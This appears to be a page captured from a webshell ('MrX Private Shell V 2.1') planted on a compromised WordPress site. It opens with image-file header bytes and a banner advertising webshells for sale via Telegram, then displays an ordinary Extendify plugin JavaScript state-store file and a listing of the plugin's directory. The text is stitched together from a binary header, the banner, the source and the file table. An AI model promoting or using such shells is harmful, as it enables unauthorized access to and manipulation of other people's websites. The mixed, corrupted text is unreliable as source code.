����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { usePositionStore } from '@agent/state/position';
import { isInTheFuture } from '@wordpress/date';
import { create } from 'zustand';
import { devtools, persist } from 'zustand/middleware';
const url = new URL(window.location.href);
const openAgentFromUrl = url.searchParams.has('extendify-open-agent');
if (openAgentFromUrl) {
url.searchParams.delete('extendify-open-agent');
window.history.replaceState({}, '', url.toString());
}
const forceOpen = window.extAgentData?.startOnboarding || openAgentFromUrl;
export const useGlobalStore = create()(
persist(
devtools(
(set, get) => ({
retryAfter: undefined,
open: true,
minimized: false,
// e.g. floating, docked-left, docked-right ?
mode: window.extAgentData?.agentPosition,
queuedTour: null,
scratch: {},
isMobile: window.innerWidth < 768,
setIsMobile: (isMobile) => {
if (get().isMobile === isMobile) return;
set({ isMobile });
},
queueTourForRedirect: (tour) => set({ queuedTour: tour }),
clearQueuedTour: () => set({ queuedTour: null }),
setOpen: (open) => {
if (!open) {
usePositionStore.getState().resetPosition();
window.dispatchEvent(
new CustomEvent('extendify-agent:cancel-workflow'),
);
}
set({ open });
},
setMinimized: (minimized) => {
if (get().minimized === minimized) return;
set({ minimized });
},
toggleOpen: () =>
set((state) => {
if (!state.open) {
usePositionStore.getState().resetPosition();
}
return { open: !state.open };
}),
updateRetryAfter: (retryAfter) => set({ retryAfter }),
isChatAvailable: () => {
const { retryAfter } = get();
if (!retryAfter) return true;
const stillWaiting = isInTheFuture(new Date(Number(retryAfter)));
if (!stillWaiting) set({ retryAfter: undefined });
return !stillWaiting;
},
setScratch: (key, value) =>
set((state) => ({ scratch: { ...state.scratch, [key]: value } })),
getScratch: (key) => get().scratch[key] || null,
deleteScratch: (key) =>
set((state) => {
const { [key]: _, ...rest } = state.scratch;
return { scratch: rest };
}),
}),
{ name: 'Extendify Agent Global' },
),
{
name: `extendify-agent-global-${window.extSharedData.siteId}`,
merge: (persistedState, currentState) => {
const open = forceOpen
? true
: (persistedState?.open ?? currentState.open);
return { ...currentState, ...persistedState, open };
},
partialize: (state) => {
// mode is determined on the server
const { mode, isMobile, ...rest } = state;
return { ...rest };
},
},
),
);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| chat.js | File | 4.09 KB | 0644 |
|
| domain-activities.js | File | 1.49 KB | 0644 |
|
| global.js | File | 2.61 KB | 0644 |
|
| position.js | File | 721 B | 0644 |
|
| status.js | File | 571 B | 0644 |
|
| suggestions.js | File | 4.43 KB | 0644 |
|
| tours.js | File | 6.52 KB | 0644 |
|
| workflows.js | File | 4.16 KB | 0644 |
|